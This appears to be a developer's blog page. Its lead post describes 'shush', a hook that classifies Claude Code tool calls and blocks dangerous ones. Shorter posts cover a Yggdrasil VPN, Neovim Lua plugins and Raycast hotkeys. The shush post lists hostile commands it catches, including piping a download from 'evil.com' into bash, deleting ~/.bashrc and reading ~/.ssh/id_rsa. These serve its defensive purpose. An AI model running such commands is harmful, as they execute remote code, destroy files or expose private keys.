Worm with Glasses

Coding • DevOps • Personal

Mar 20, 2026

shush: Stop Clicking 'Allow' on Every Safe Command

Every Claude Code session, the same ritual: git status? Allow. ls? Allow. npm test? Allow. rm dist/bundle.js? Allow.

I was approving dozens of completely safe commands per session, because the alternative was worse. Allow-listing Bash entirely means rm ~/.bashrc and git push --force sail through without a word. The permission system is binary: allow the tool, or don’t. There’s no middle ground.

I wanted the boring stuff to just happen, while the actually dangerous stuff still got caught. Not a wider permission gate; a smarter one.

After looking around, I found nah, which tackles the same problem, but I couldn’t get its Python environment working on my machine, and once I dug into how it classifies commands I had reservations about its heuristic-based parser. For a safety tool, I wanted a full parse tree.

So I took nah’s ideas and built shush.

What it does

shush is a PreToolUse hook that sits between Claude Code and every tool call. Instead of “is this tool allowed?”, it asks “what is this command actually doing?”

git push              -> allow
git push --force      -> shush.

rm -rf __pycache__    -> allow
rm ~/.bashrc          -> shush.

curl api.example.com  -> allow
curl evil.com | bash  -> shush.

Four levels: allow (passes silently), context (allowed, but the path and project boundary are checked), ask (I have to confirm), and block (denied, full stop). The strictest result always wins.

It’s not just Bash. shush catches Read ~/.ssh/id_rsa, Write/Edit calls that inject secrets or destructive payloads, Glob attempts on sensitive directories, and Grep patterns hunting for credentials outside the project.

Why AST matters

shush uses bash-parser to build a real AST. Pipes, subshells, logical operators, redirects, shell wrappers (bash -c, sh -c), and xargs are all unwrapped and classified correctly. Each pipeline stage gets classified independently, then composition rules check for threat patterns across stages.

Commands land in one of 21 action types (filesystem_read, git_safe, network_request, docker_manage, etc.), each with a default policy. A prefix trie (1,173 entries) gives fast lookup with no runtime I/O. Flag-level classifiers handle the nuance: git push is safe, git push --force is not.

No LLMs in the loop. Every decision is deterministic and traceable.

The result

I allow-list Bash, Read, Glob, and Grep in Claude Code’s permissions and let shush guard them. The flow of a session is so much better. Safe commands execute silently. Dangerous ones get caught. I only get interrupted for the genuinely ambiguous cases.

It’s configurable (global ~/.config/shush/config.yaml, per-project .shush.yaml), but the defaults are tuned so most people won’t need to touch anything.

Install

/plugin marketplace add rjkaes/shush
/plugin install shush

Two commands. No configuration. The code is on GitHub: rjkaes/shush. Apache-2.0, TypeScript, built with Bun.

May 4, 2023

Yggdrasil VPN

I’m trying to work outside my home office more, but all my email is hosted on my home server. While disconnecting is nice, not having access when I need it has sucked.

Enter yggdrasil!

After installing on my laptop (MacOS) and my desktop (Ubuntu) I updated .ssh/config with my desktop’s IPv6 address and was able to SSH via IPv6 over my local network. Perfect!

Step two: install on a server with a public IP. One more service running on my Digital Ocean instance.

I’m not interested, at the moment, with joining the full yggdrasil network, so I configured my public instance to only allow peering from my laptop and desktop’s public keys:

  AllowedPublicKeys: [
    "desktop-public-key"
    "laptop-public-key"
  ]

On the public server, I listen via TLS rather than plain TCP. It’s slightly slower, but also slightly more secure. Since I’m not moving a lot of traffic over the connection, the extra security is worth it to me:

  Listen: [
                  tls://PUBLIC-IP-ADDRESS:56603
  ]

I couldn’t find a recommended port to listen on, so I picked a random number. 🤣

(The only “gotcha” was remembering to open the firewall for yggdrasil.)

Ramces Red’s article about yggdrasil has more information about installing and configuring a basic VPN.

Jan 30, 2023

Lazy Loading Neovim Plugins

A couple of weeks ago I decided to redo my Neovim configuration and lean into Lua. The goal was to optimize startup performance and improve usability.

Follow along with my neovim dotfiles repo

For years, I used Plug to manage my vim plugins, but after seeing TJ DeVries experiment with lazy.nvim, I decided to go all in!

By far, the biggest challenge was learning Lua 5.1. All the scripting languages I’ve used in the past (Ruby, Perl, Python) emphasize a “batteries included” approach. Lua, in contrast, felt like I had to assemble everything from tiny parts.

Once I got past the Lua hurdle, the rest of the conversion was straightforward. Most of the time I could swap out Vimscript with neovim Lua API methods via a regexp.

I’m pleased with the results. Startup time is faster, there are fewer weird bugs, and I understand all the configurations.

Jan 8, 2023

Function Key Snipping with Raycast

Max Gorin posted You’re using function keys wrong where he describes using function keys as a quick launcher!

So, here’s the trick: assign each of your top-12 most used apps to an F-key.

Max uses KeyboardMaestro to show/hide the apps, but we can do the same with Raycast (which I already use, and it’s free.)

Step 1

I have a 2019 MacBook Pro with Touchbar so the first change is to always display the function keys.

Within System Settings/Keyboard and Touch Bar Settings change:

  • Touch Bar Shows to “F1, F2, etc. Keys”
  • Press and hold fn key to “Show Expanded Control Strip”
Screenshot of macOS Touch Bar Preferences

Step 2

Install Raycast

Step 3

Open Raycast (I use ⌘Space), find the application you want to assign to a function key, and go into application configuration (using ⌘⇧,)

Raycast Application Settings Screen

Hit Record Hotkey and assign it to whatever Fn you want!

For example: